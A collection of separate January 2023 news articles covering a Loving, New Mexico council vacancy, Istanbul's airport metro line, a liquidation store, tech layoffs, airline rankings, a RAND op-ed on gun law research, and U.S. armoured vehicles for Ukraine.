Additional victims of the shooting:

Wen Yu, 64

Lilan Li, 63

CORRECTION (Wednesday, Jan. 25, 2023, 7:47 p.m. ET): A previous version of this article misstated the first name of one of the victims. She is Lilan Li, not Lilian.

This article was originally published on NBCNews.com
A Facebook post from the Village of Loving solicits a new member for the Village Council after Mayor Pro-Tem Ricky Fuentes replaced former Mayor Pete Estrada.

Applicants were sought by the Village of Loving to fill a vacancy on the village council after Mayor Pro-Tem Ricky Fuentes was promoted to mayor, according to a press release issued by the Village.

Fuentes was appointed mayor Jan. 17 during a Loving Village Council meeting after Pete Estrada, former mayor, resigned, read the news release.

Village Clerk Manuel Garza said Fuentes would serve the remainder of Estradas term which expires Dec. 31, 2023.

Garza said Fuentes is Lovings chief official and has many duties.

More:Village of Loving Mayor Pete Estrada resigns

Including being the chief elected official, overseeing employees and operation of daily functions, (along with) hiring and terminating employees with the consent of the council, he said.

Fuentes was elected to serve in as Loving Village Councilor for position 2 and mayor pro-tem, according to the press release.

A new mayor pro-tem has not yet been elected. One will probably be elected at the Feb. 13 regular council meeting, Garza said.

Ricky Fuentes is sworn in as Village of Loving Mayor. He replaces Pete Estrada who resigned after nearly 20 years of service to the Village.

Anyone wanting consideration should submit a resume and letter of interest via email to Garza at mgarza@lovingnm.gov or mail to P.O. Box 56, Loving, New Mexico 88256, per the release.

The deadline to apply is 4 p.m. Feb. 8, according to the release.

Garza said the person elected would serve on the Loving Village Council until the end of 2023.

He said elections in Loving this year were scheduled for Nov. 7.

More:Loving commits to $450K construction of housing for firefighters

Mike Smith can be reached at 575-628-5546 or by email at MSmith@currentargus.com or @ArgusMichae on Twitter.

This article originally appeared on Carlsbad Current-Argus: Village of Loving seeks new village council to serve through 2023
China-made trains enter service in Istanbul's new metro line

Xinhua) 10:04, January 24, 2023

Turkish President Recep Tayyip Erdogan attends the opening ceremony of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye, Jan. 22, 2023. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

ISTANBUL, Jan. 22 (Xinhua) -- A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour.

"This 800,000 daily capacity metro line will allow travel from Kagithane Station to the Istanbul Airport in 24 minutes," said Turkish President Recep Tayyip Erdogan during the opening ceremony.

The fully-automated, driverless trains were built by Chinese company CRRC Zhuzhou Locomotive Co., Ltd. (CRRC ZELC), which signed a purchase and commissioning contract with Trkiye's Directorate-General of Infrastructure Investments back in January 2020.

The 34-kilometer metro line between the Kagithane Station in central Istanbul and the city's new international airport boasts Trkiye's fastest trains, and the vehicles running the line are China's first 120km/h automated driverless metro project for the overseas market, according to CRRC ZELC.

The contract was for 176 subway cars and required a 60 percent localization rate in Trkiye.

Haluk Oguz, a management specialist at CRRC ZELC's subsidiary in Trkiye, told Xinhua that they have delivered 40 vehicles. "Work on the other 136 is ongoing," he said, adding "they will be manufactured at our factory in Ankara."

Faruk Bostanci, administrative affairs chief at CRRC Trkiye, said that "new additions (to the line), which will be made as manufacturing continues, will increase the train frequency and provide a faster, more convenient transportation network for Istanbul residents."

After trying out the train, Istanbul resident Emirhan Ersoy praised the new vehicles. "Both the heating system and the visual screens are very nice, and the sound system works very well," he said, adding that the high capacity of the cabins was another point of distinction.

The vehicles operate in a 4-car formation with a maximum capacity of 1,100 passengers. The exterior of the trains is decorated with Turkish cultural elements such as tulip motifs.

Yalcin Eyigun, general manager of the Directorate-General of Infrastructure Investments at Turkish Transportation and Infrastructure Ministry, praised the Chinese partner for overcoming all kinds of difficulties during the project despite the COVID-19 pandemic-related setbacks.

Over the past decade, CRRC ZELC has supplied more than 400 metro vehicles to Trkiye, which are now operating in its three largest cities, namely Istanbul, Ankara, and Izmir.

Zhou Qinghe, chairman of the board of the CRRC ZELC, said that his company is willing to strengthen cooperation with Trkiye and write new chapters of "shared growth through discussion and collaboration."

Turkish President Recep Tayyip Erdogan speaks during the opening ceremony of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye, Jan. 22, 2023. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

This photo taken on Jan. 22, 2023 shows the interior of a station along a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye.

A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

People enter the Kagithane station of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye, Jan. 22, 2023. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

This photo taken on Jan. 22, 2023 shows the interior of Kagithane Station along a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

Journalists work on a train of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye, Jan. 22, 2023. new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

Students take a train of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye, Jan. 22, 2023. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

Students get on a train of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye, Jan. 22, 2023. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

This photo taken on Jan. 22, 2023 shows the interior of a train on a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

This photo taken on Jan. 22, 2023 shows a train of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

This photo taken on Jan. 22, 2023 shows the interior of a train on a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

Journalists take selfies on a train of a new metro line connecting central Istanbul and the city's new international airport in Istanbul, Trkiye, Jan. 22, 2023. A new metro line connecting central Istanbul and the city's new international airport officially opened to the public on Sunday, featuring China-made automated driverless trains that could run up to 120 kilometers per hour. (Xinhua/Shadati)

(Web editor: Peng Yukai, Liu Ning)
Insider's Aaron Mok at Everyday Crazy Hot Deals. Aaron Mok/Insider

Everyday Crazy Hot Deals is a liquidation center that buys and resells returned merchandise.

Items from places like Target are sold at a discount, with prices varying based on day of the week.

You can find everything from electronics to kitchenware to furniture.

I visited Everyday Crazy Hot Deals in Bethpage, New York, on three different days in January to see how the products vary.

The entrance of Everyday Crazy Hot Deals in Bethpage. Aaron Mok/Insider

Source: KJOY 98.3

I went the store, which opened last September, for the first time on an early Saturday afternoon. When I walked in, I was immediately overwhelmed by the sheer volume of stuff available.

The bins at Everyday Crazy Hot Deals are aligned in vertical rows. Aaron Mok/Insider

Since I went on a Saturday, every item in the store  with some exceptions  was priced at $12. The price gets cheaper as the week approaches Thursday, the day the store gets restocked. Items are most expensive on the weekends once new inventory is added.

A sign with the daily set prices on a wall inside the store. Aaron Mok/Insider

The bins weren't organized by product category, so I sifted through piles of random items mixed together. The most common items I saw were boxes of face masks.

The bins were not organized by product type and were filled with random items. Aaron Mok/Insider

I didn't have anything in particular I wanted to buy, so I haphazardly scanned the bins in search of items that stood out to me. Some of the things that caught my eye were a gratitude journal, the board game Operation, cockroach-killing bait, a vibrator, creepy Halloween costume masks, and some wigs.

This bin contained a random assortment of items, including a clown mask and wigs. Aaron Mok/Insider

Many of the packages were ripped, empty, or missing an item.

A broken hair-dryer package I found in the bins. Aaron Mok/Insider

Customers are not allowed to open sealed packages. If they want to know what's inside, they must bring the items to the customer-service booth, where an employee will open them.

One of two customer-service stations at Everyday Crazy Hot Deals. Aaron Mok/Insider

While the majority of bins contained a random assortment of stuff, some items were organized by type with special deals, like this rack of clothing ...

Customers can buy two items of clothing for $10 on Saturday and three items for $10 on Sunday. Aaron Mok/Insider

... and this shopping cart filled with notebooks. Five notebooks cost $1.

A shopping cart full of notebooks, selling at five for a dollar. Aaron Mok/Insider

There were also containers of makeup sold at $3 apiece ...

Makeup for $3 each. Aaron Mok/Insider

... and these iPhone and Android phone cases  including popular brands like Otter  that were priced at five for $2.

A bin of iPhone cases that cost $2 for five. Aaron Mok/Insider

There were even boxes of Halloween candy like Haribo gummy bears and Reese's peanut-butter cups. The bags of candy I looked at were not expired, though the store has a sign warning customers to check the expiration date before purchasing any food.

Story continues

Bins of Halloween candy and a bin with bottles of mouthwash. Aaron Mok/Insider

Some of the "organized" bins were just as sloppy as the regular ones, like this plastic container filled with tangled-up cords, cables, and laptop chargers.

A box full of random wires and cables. Aaron Mok/Insider

Exceptions to the set-price rule included items like furniture and big boxes of toys.

Furniture sold at Everyday Crazy Hot Deals. Aaron Mok/Insider

The most expensive items I saw were electronics, like a Google Nest Doorbell and a Samsung Galaxy Watch 4, near the cash register. Each was priced at $150.

Expensive electronics near the cashier were $150 each. Aaron Mok/Insider

As I was browsing the store, an employee pulled out a fresh bin of stuff that all the shoppers picked through.

Shoppers gathered around a bin filled with new items. Aaron Mok/Insider

While some people may come just to buy cheap stuff, the store said it encourages shoppers to buy things that they can resell individually at a higher price. There were a few shoppers who looked like teenagers looking up the price of items on their phones and discussing whether they could resell them on TikTok.

A collection of Marvel "WandaVision" action figures. Aaron Mok/Insider

Source: Crazy Hot Deals

After spending nearly an hour and a half carefully looking through each bin, I wasn't able to find anything I liked that I thought was worth $12 that day. So I decided to go back on a Wednesday when everything is a dollar.

A bin full of winter boots. Aaron Mok/Insider

When I visited again the following Wednesday, the bins contained less stuff, and the things that remained were even more random than before. Many of the items were broken packages or loose parts that came from the original product.

A random assortment of stuff in a bin on a Wednesday, when everything costs $1, unless stated otherwise. Aaron Mok/Insider

But I was excited to get a sneak peek at the new inventory, which included things like a toy Mustang convertible and a box set of kitchen appliances wrapped in plastic packaging. There were also bins covered by blankets that were filled with fresh stuff.

Inventory wrapped in plastic packaging that will be unveiled on Friday, the day after restocking. Aaron Mok/Insider

After I spent roughly 30 minutes browsing the sparse bins with no success, I decided that I would come back one more time on a Friday, when the store is restocked with new inventory.

Bins covered with blankets that contain fresh inventory. Aaron Mok/Insider

I arrived at the store on the following Friday around 11 a.m., and it was packed with people. Each bin was overflowing with new stuff.

A packed store with bins filled with new items after restock day. Aaron Mok/Insider

When I got there, the store was doing its first restock of the day. Dozens of shoppers gathered around the covered bins as they waited for an employee to unveil them.

Dozens of shoppers gathered around the covered bins waiting to see the new merch. Aaron Mok/Insider

Speaking through a megaphone, an employee thanked everyone for coming and briefly explained some ground rules to ensure that everyone had a safe shopping experience.

Shoppers lined up around bins as they listened to an employee lay out the store's ground rules. Aaron Mok/Insider

After the employee finished his speech, he told everyone to put their hands up. On a count of three, the employees yanked the blankets away and a horn blared, signaling that shopping could begin.

Shoppers quickly grabbed items and threw them into their carts. Aaron Mok/Insider

Shoppers immediately grabbed whatever was available and tossed the items into their carts to sort through later. Carts were filled with boxes big and small  one even contained a bicycle.

Many shoppers filled their carts to the brim to sort through later. Aaron Mok/Insider

As people were hunting for the best items, an employee with a megaphone announced raffle numbers. Winners were given $50 to spend at the store.

The winner of the raffle gets $50 to spend at Everyday Crazy Hot Deals. Aaron Mok/Insider

This time around, I found many items I was interested in buying, from a box of college-ruled journals to an electric blanket.

Restocked bins at Everyday Crazy Hot Deals on a Friday morning. Aaron Mok/Insider

Every time I found something I liked, I was hit with a rush of excitement, which only motivated me to keep looking for more stuff with deeper precision.

A DVD of the Marvel movie "Shang Chi." Aaron Mok/Insider

After I spent an hour flipping through bins, I forced myself to stop looking and went to purchase the items with my family. The cashier counted how many items were in the cart and then multiplied the number by 12 to calculate the price. We were shocked to learn that our bill was more than $300.

My family and I spent more than $300 on stuff. Aaron Mok/Insider

Even though I was happy with the things I found, I was left with a nagging feeling that I spent too much money on items I didn't need. But overall, I found shopping there to be a fun, weirdly exhilarating experience.

Some things I bought at Everyday Crazy Hot Deals include two blankets, a giraffe mug, a storage bin, and a box of journals. Aaron Mok/Insider

Read the original article on Business Insider
U.S. Bradley infantry fighting vehicles will arrive in Ukraine within the next few weeks, Voice of America reported, citing an anonymous Pentagon official.

Ukraine should receive 109 Bradleys, which are highly-mobile tracked vehicles for transporting and providing covering fire to infantry. They are armed with a 25mm autocannon and TOW anti-tank missiles.

Recently, Germany said it would provide 40 Marder infantry fighting vehicles in the first quarter of 2023.

Of all combat vehicle types that Ukraine needs, IFVs are near the top, experts told the Kyiv Independent in September.
State Attorney General Gentner Drummond, pictured here at a campaign watch party with his wife in June 2022, accused his predecessor of not doing enough to investigate corruption within state government.

Oklahoma's new attorney general continues to reclaim control of investigations into the misuse of state tax dollars, taking the lead on cases he said his predecessor wrongly ignored.

"These cases always belonged in the attorney general's office," Drummond told The Oklahoman on Monday, referring to three investigations he has assumed control of since taking office this month, including an investigation into state contracts with Swadley's Bar-B-Q.

Drummond won a Republican primary last year, beating John O'Connor, whom Gov. Kevin Stitt appointed attorney general in 2021.

During his campaign, Drummond accused O'Connor of being too close to the governor and potentially punting on cases that could involve the governor.

"I think that's an excellent line of questioning for either the governor or his appointee," Drummond told The Oklahoman when asked if he felt O'Connor tried to protect Stitt from the Swadley's investigation. "I can speculate, but you know thats dangerous."

Stitt's office did not respond to a request for comment.

On Sunday, Drummond announced he would take over an investigation into contracts between the Oklahoma Tourism and Recreation Department and Swadley's Bar-B-Q, which led to cost overruns and appeared to skirt state bidding laws.

The case previously had been led by the Oklahoma County district attorney's office.

After Swadley's debacle, Oklahoma Tourism is seeking new state park restaurant operators

Swadley's Bar-B-Q had been hired to construct and operate restaurants at several state parks, but the contract was ended after multiple media reports of cost overruns and questionable spending.

Stitt accused the restaurant chain of wrongdoing and defended Jerry Winchester, his appointee to lead the tourism agency.

But Swadley's claimed the Stitt administration played a role in pushing up costs.

Winchester later resigned, and the governor's critics blamed him for a contract that ended up costing the state close to $17 million.

Story continues

Stitt, who won reelection last year, faced an onslaught of attack ads that tried to link him with the Swadley's scandal.

Ryan Walters plans:'Hold folks accountable' at the Education Department

"We can't even trust Stitt with barbecue," Joy Hofmeister, Stitt's Democratic opponent, regularly said from the campaign trail.

Former Oklahoma Attorney General John O'Connor and Governor Kevin Stitt are shown during a press conference on June 24, 2022.

The Oklahoma State Bureau of Investigation already had been investigating the Swadley's deal and will now work with Drummond.

Drummond also has assumed control over cases involving the founders of Epic Charter Schools and a probe into allegations of political abuse within the state Commissioners of the Land Office.

Before taking office, Drummond told The Oklahoman he also planned to investigate the use of federal relief funds by the governor, which were meant to support students and families during the pandemic.

COVID pandemic funds:Oklahoma's incoming AG says he will investigate

A program administered by the governor and now-state schools Superintendent Ryan Walters saw money spent on noneducational expenses. The state ended up suing a Florida company hired to disburse the funds, but Drummond said he will decide by the end of the month whether to continue with the lawsuit or turn the investigation toward state officials.

Drummond told The Oklahoman he had not spoken with the governor's office about any of the investigations he has recently announced.

This article originally appeared on Oklahoman: Oklahoma Attorney General Drummond takes over Swadley's inquiry
Company bikes sit outside an office building on Google's Mountain View, Calif., campus. The tech giant has laid off 12,000 employees amid an industrywide pullback in staffing. (Brian Contreras / Los Angeles Times)

When Quinn pivoted from the video game industry to a corporate tech gig in 2019, job security was a big part of the reason why.

The gaming world was feast and famine, hiring and firing people all the time, said Quinn, who asked that his last name be withheld to avoid damaging future employment prospects. A more traditional software role  working on learning and development at a customer service company  seemed like a safer bet.

Quinn, now 28, wasnt alone. For years, a job at a big Silicon Valley company was one of the more plum gigs an American could find. Even after all the early-2010s rhetoric about making the world a better place started to ring hollow in the wake of scandals at Facebook, Uber and other companies, a killer combo of high pay, ample perks, flexible management and collegiate San Francisco Bay Area campuses made for a lifestyle that enticed many early-career self-starters.

The pandemic seemed to bear that thesis out. As everyones life suddenly migrated online, software giants saw their stocks soar and tech workers came to enjoy the luxury of coding from a living room couch.

Quinns decision to enter the industry seemed prescient at the time. It gave me a really strong sense of safety and stability that in hindsight really wasnt there, he said.

In November, Quinn was laid off, part of a wave of powerhouse tech companies cutting jobs and implementing hiring freezes that began last summer and gathered force through late 2022 and into this year.

Since Jan. 1, legions of employees have been placed on the chopping block at Amazon (18,000 layoffs ), Microsoft (10,000 layoffs ), Salesforce (8,000 layoffs ) and Google (12,000 layoffs ). Those cuts came on the backs of earlier excisions at Meta (11,000 layoffs in November) and Snap (1,300 layoffs in August), as well as at Twitter, which is melting down for other reasons .

The industrywide downturn has led many tech workers  no longer basking in the fervent attentions of an industry desperate to woo the best and brightest talent  to reevaluate their careers just as Quinn once did.

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Where they head now could reshape the industry for decades to come.

Someones loss is anothers gain, said Dan Ives, a tech analyst and managing director at Wedbush Securities. Highly skilled developers and software engineers wont stay unemployed for long, Ives said, and the companies that snap them up will probably be those at the forefront of exciting new sectors such as artificial intelligence, electric vehicles, cloud storage and cybersecurity. I think its a repositioning of tech.

The cuts come on the heels of unsustainably rapid hiring over the last five years, Ives said. Now, the clocks struck midnight for hyper-growth, [and] youre seeing tech CEOs rip the Band-Aid off.

Its a moment with notable similarities to the bursting of the dot-com bubble in the early 2000s, when an inchoate version of the internet economy turned to mist before investors eyes amid the collapse of Pets.com and other frothy Web 1.0 ventures.

Yet that collapsed empire supplied the raw material for the next 20 years of tech, Ives said, by pumping a bunch of talented software engineers back into the market. These latest layoffs, he said, could have the same effect.

I view it more as a redistribution and a change in the pecking order, rather than a sign of darker times, the analyst said.

The shift away from the so-called FAANG companies  Facebook (now Meta), Amazon, Apple, Netflix and Google  is part and parcel with a larger trend in which tech workers are growing disillusioned with many of Silicon Valleys biggest employers, most of which have at this point racked up reputational blemishes if not outright scandals.

Some workers may now, post-layoff and with their golden handcuffs snipped, take the chance to find jobs more aligned with their values.

Since COVID, really, what Ive noticed is tech workers of all stripes  but particularly those with experience  no longer want to work for the Facebooks and the Googles and the Microsofts, said John Chadfield, a secretary with the United Tech and Allied Workers union in Britain. Its just not an aspiration anymore.

Some software engineers will now prioritize working at smaller companies that can offer them remote work flexibility, four-day workweeks and a better quality of life, Chadfield predicted. Others will turn to uber-flexible freelance work.

But the shifts to come could be more radical than just employees moving from big tech companies to smaller, sprightlier ones. Its sometimes said that every company is now a software company, given how omnipresent tech is in every facet of the economy, and many nontech companies still have good reasons to hire the people that traditional tech firms just laid off.

Chadfield said hes recently seen tech workers take on roles at government agencies and NGOs.

Theyre not running for cover; a lot of them dont need to take whatever comes their way, he said of tech workers. Theyre filling well-open market gaps and being choosy about where they go.

The insurance company Allstate recently signaled plans to hire laid-off tech workers to help beef up its technological capabilities. The Department of Veterans Affairs has made similar overtures .

One engineering manager, Jace  who was let go from a San Francisco software company in December  said that the current turmoil in big, traditional tech companies isnt representative of tech careers overall, which now encompass a broad range of sectors, including healthcare and banking.

Every single company has an app, it has a website, it has a service, said Jace, who withheld his last name because hes actively job-searching. You might see a broadening of what it means to work in technology, what it means to work in engineering.

A job in tech is not necessarily at a place with a slide and a ball pit, he said, alluding to the famously summer camp-ish vibe that many Silicon Valley companies cultivated before the pandemic.

Some college graduates, however, are still drawn to the tech giants despite the new lack of job security available.

Allison, a college senior studying computer science in the Bay Area, said she accepted an offer at a FAANG company over two defense industry opportunities in Pennsylvania and Idaho.

Better to apply for a place that gives $250,000 and get laid off in 6 months ... than go to Idaho and get $100,000, she said. Im willing to accept risk for significantly more money.

Some of her friends, who previously did tech internships at companies outside the traditional tech ecosystem, are also still gunning for full-time positions at larger companies, she said. Again, pay is their motive.

But not everyone has been as lucky in securing a job before graduation, she said; plenty of her friends have sent out hundreds of applications, some even settling for internships, with no response.

Nontechnical tech workers  that is, those who don't write code or possess other engineering skills  have been particularly affected by the staffing pullback, said Nataliya Nedzhvetskaya, a UC Berkeley doctoral candidate who studies tech employee activism.

The majority of these layoffs are impacting people [working in] recruiting or customer service at these companies, Nedzhvetskaya said.

Many tech companies also rely on temporary or contract workers, who  even in boom times  face substantially less stable employment conditions than their full-time counterparts, she said.

Googles more than 50% contracted labor, Nedzhvetskaya said, and if those people arent rehired, or if their contract is canceled before its completion date, that doesnt register as a layoff.

For Quinn  the tech worker who pivoted from video games to software in 2019, only to get laid off late last year  changing economic head winds have forced him to reconsider his commitment to the tech industry.

Though he initially thought hed simply find a similar job at another tech company after getting laid off from the customer service one, hes since struggled to replicate what he lost. Applications to multiple companies in the last few months have neared their final steps, he said, only for a sudden hiring freeze to put him back in the hunt.

Quinns now looking at roles in healthcare, game and app development and even mortgage documentation  that is, sectors that use tech but where the employers aren't tech companies per se. Hes not sure if hes dead-set on staying in traditional tech, he said. Many of his colleagues, he added, are asking themselves the same thing.

I think everybody that Im talking to, at least, is kind of having a soul-searching moment of: Hmm, is this what I thought it was?'" Quinn said. "'Am I insulated from all these economic shifts?

This story originally appeared in Los Angeles Times.
Delta Air Lines. On The Run Photo/Shutterstock

The Wall Street Journal has revealed its annual list of the best and worst airlines in the US.

Delta Air Lines took the top spot, while JetBlue Airways lagged behind competitors.

Southwest Airlines ranked surprisingly high despite its chaotic holiday meltdown.

After a chaotic year of severe weather, flight cancelations, staffing shortages, and air traffic control issues, the Wall Street Journal has revealed its annual list of best and worth US airlines.

The results are determined by seven key metrics, including flight cancellations, on-time performance, delays, involuntary bumping, lost luggage, and complaints. For the most part, the rankings did not change much from 2021, with Delta Air Lines taking the top spot for the second year in a row.

The Atlanta-based carrier earned first place in three categories  on-time arrivals, cancelations, and bumping. However, this is notably worse than the carrier performed in 2021 when it also earned the crown for the least complaints and extreme delays.

In a January earnings call, company CEO Ed Bastian described 2022 as "the most difficult operational year in our history," which was exacerbated by strong demand and rapid post-pandemic growth.

According to aviation data company Anuvu, which provided the numbers for WSJ's rankings, Delta had the best on-time arrival rate of 81.7%. However, this was down from 87.9% the previous year and 83.4% in 2019. In total, the carrier canceled about 31,000 flights in 2022, which is three times as many compared to 2021.

The WSJ noted that Hawaiian Airlines actually beat Delta in terms of fewest cancelations, but the outlet does not include Hawaiian in its rankings due to its unique operating geography.

Alaska Airlines took second in this year's rankings, falling partly due to the strong winter storm that battered the Pacific Northwest in December.

Taking third place was Southwest Airlines. The Dallas-based carrier ranked surprisingly high despite its chaotic winter meltdown, which resulted in over 16,000 flight cancelations and over $800 million in potential costs, per the New York Times.

Story continues

The carrier ranked low in several individual categories, including cancelations and bumping, but, up until its meltdown, earned the least complaints from customers. However, the WSJ noted that complaints and baggage handling data from the Christmas chaos were not available for 2022's results, but will be factored in next year.

At the bottom of the list sat JetBlue Airways. The airline did not improve from last year's rankings and actually had the worse delay rate, beating out only Allegiant Air in terms of on-time performance and cancelations.

According to Anuvu, JetBlue canceled 3.3% of its 2022 flights. Company president President Joanna Geraghty told the WSJ this can be attributed to the highly congested Northeast airports JetBlue operates in.

By comparison, Allegiant's cancelation rate was 4.3% last year, though the Las Vegas-based carrier was the best airline in terms of involuntary bumping and bagging handling.

Overall, flight cancelations among major US airlines increased by 69% last year. That is a huge number considering the increase in scheduled flights was just 13%, per the WSJ. However, nearly 60% of the cancelations occurred between January and June, with the second half of 2022 faring better for travelers.

Despite the problems, some carriers did finally turn a year-end profit, like Delta and United Airlines.

Here's a closer look at the WSJ's list of the best and worst airlines in the US.

9. JetBlue Airways

JetBlue Airways. Eliyahu Yosef Parypa/Shutterstock

2021 ranking: 9

8. Frontier Airlines

Frontier Airlines. Carlos Yudica

2021 ranking: 6 (tied with American Airlines)

7. Spirit Airlines

Spirit Airlines. Carlos Yudica/Shutterstock

2021 ranking: 8

6. American Airlines

American Airlines. Nik Oiko/SOPA Images/LightRocket via Getty Images

2021 ranking: 6 (tied with Frontier)

5. Allegiant Air

Allegiant Air. Carlos Yudica/Shutterstock

2021 ranking: 5

4. United Airlines

United Airlines. United Airlines

2021 ranking: 4

3. Southwest Airlines

Southwest Airlines. George Rose/Getty Images

2021 ranking: 3

2. Alaska Airlines

Alaska Airlines. Alaska Airlines

2021 ranking: 2

1. Delta Air Lines

Delta Air Lines. On The Run Photo/Shutterstock

2021 ranking: 1

Read the original article on Business Insider
The science is increasingly clear that while some restrictive gun laws seem to reduce gun violence, other more permissive gun laws worsen it. And with more than 40,000 gun deaths a year in America, the stakes could hardly be higher.

After declining for two decades, firearm violence began rising in 2014 and surged in 2020.

Mass shootings reached record highs in 2021 and 2022, according to the Gun Violence Archive, which has been tracking events where four or more people were shot since 2014.

In response, federal and state governments passed a raft of gun laws last year reflecting divergent views on how to address firearm violence while protecting gun owners rights.

Concealed carry court ruling could lead to more deaths

Our review of hundreds of scientific studies now finds supportive evidence  our highest evidence rating  that shall-issue concealed carry laws are associated with increased firearm homicides.

These laws, which remove law enforcement discretion in issuing concealed carry permits, became the law nationwide with the Supreme Courts June decision in New York State Rifle & Pistol Association v. Bruen.

After declining for two decades, firearm violence began rising in 2014 and surged in 2020.

Our findings suggest that the Bruen ruling could lead to higher firearm homicide rates in states now required to adopt shall-issue permitting, like New York and California, which until this year had lower than average firearm homicide and suicide rates than other U.S. states.

Four states, in contrast, made their already permissive concealed carry laws even more so last year: Alabama, Georgia, Indiana and Ohio abandoned concealed carry permitting requirements, joining a score of other states that now allow concealed carry without a permit.

Gabby Giffords: Why I'm optimistic about reducing gun violence in America

New evidence since our last review reinforces our earlier finding that stand-your-ground laws, which remove the duty to retreat from a confrontation before using deadly force, increase firearm violence. The effects of these laws are not fully explained by more justifiable homicides, as might be expected. Rather, the laws appear to increase both justifiable and nonjustifiable firearm homicides.

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In contrast, several more restrictive laws appear to reduce the risk of firearm homicides and suicides. There is now supportive evidence that child access prevention laws reduce firearm homicides and self-injuries among youths.

California's gun laws could be effective in reducing homicides, suicides

In 2022, California required school districts to notify all parents of the states safe storage requirements, and New York increased the age of minors from 16 to 18 for purposes of child access laws.

Also last year, Delaware increased the minimum age required to purchase all firearms to 21, and New York increased the age required to purchase semiautomatic rifles from 18 to 21. Minimum age of purchase laws  particularly those concerning handguns, which are involved in the majority of gun violence  have moderate evidence of effectiveness in reducing firearm suicides among young people. Moderate is our second highest evidence rating.

Opinion alerts: Get columns from your favorite columnists + expert analysis on top issues, delivered straight to your device through the USA TODAY app. Don't have the app? Download it for free from your app store.

Similarly, laws that require background checks for all firearm transactions, not just those involving a licensed dealer, have moderate evidence of reducing total homicides. In 2022, Oregon and Vermont passed laws strengthening their background check systems to ensure that a background check is run on all firearm transfers.

There is now moderate evidence that mandatory waiting periods between when a person buys a firearm and can take possession of it reduce homicides and firearm suicides.

Such laws exist in nine states, though requiring a permit to purchase a firearm may impose a similar de facto waiting period.

Monterey Park shooting leaves community traumatized: Lunar New Year mass shooting in California traumatizes Asian Americans already on edge

California shooting breaks promise of Lunar New Year: Monterey Park mass shooting breaks promise of Lunar New Year for Asian Americans

A 2022 federal law and new laws in California, New Jersey and New York aim to strengthen prohibitions against domestic abusers from accessing or possessing firearms.

We found moderate evidence that guns laws related to domestic violence reduce intimate partner homicides, and moderate evidence that laws designed to require the surrender of firearms by domestic abusers, particularly when coupled with laws expanding the definition of who should be prohibited from firearms access, may also reduce firearm-related intimate partner violence.

In 2022, several states banned or restricted the sale or transfer of high-capacity magazines, including Delaware, Oregon, Rhode Island and Washington, and New York expanded its existing ban. Research evidence is more limited for these bans, but it suggests they may succeed in reducing mass shootings and mass shooting fatalities.

Gun violence claims more than 100 lives each day

Firearm death rates in the United States remain below their peak in the early 1990s, but an average of more than 120 people are still killed by guns each day.

Many more people are affected by nonfatal gun violence.

Andrew R. Morral is director of the National Collaborative on Gun Violence Research.

Rosanna Smart is co-director of the RAND Drug Policy Research Center.

No single gun policy is likely to solve this problem, and many policy areas of interest last year  such as bans on ghost guns, bans on guns in playgrounds and polling places, and laws allowing teachers and other school personnel to carry firearms  have no strong evidence base yet in the scientific literature. These laws may reduce violence or may increase it, but scientific research on them is not yet strong enough to judge them.

Opinions in your inbox: Get exclusive access to our columnists and the best of our columns throughout the week

Nevertheless, persuasive scientific evidence is accumulating for several commonly implemented laws. Where the science is strong, lawmakers would be wise to consider it when making decisions about how to protect public safety while preserving civil liberties, including the right to bear arms.

Andrew R. Morral is a senior behavioral scientist at the nonprofit, nonpartisan RAND Corporation; leader of Gun Policy in America, a RAND initiative to understand the effects of gun policies; and director of the National Collaborative on Gun Violence Research. Rosanna Smart is an economist at RAND, affiliate faculty of the Pardee RAND Graduate School and co-director of the RAND Drug Policy Research Center.

You can read diverse opinions from our Board of Contributors and other writers on the Opinion front page, on Twitter @usatodayopinion and in our daily Opinion newsletter. To respond to a column, submit a comment to letters@usatoday.com.

This article originally appeared on USA TODAY: Do tough gun laws reduce violence? Our research says yes
American M1A1 Abrams tank

According to another report by Politico, the White House is considering sending about 30 Abrams tanks to Ukraine.

Read also: White House comments on Scholz's demand that Washington move first on tank supplies to Ukraine

The delivery dates are still unclear, as officials say it usually takes several months to train troops to use the tanks effectively. Several national security experts previously noted that Abrams tanks are notoriously difficult to keep properly supplied and maintained due to their powerful turbine engine  in contrast to diesel-powered German Leopard tanks.

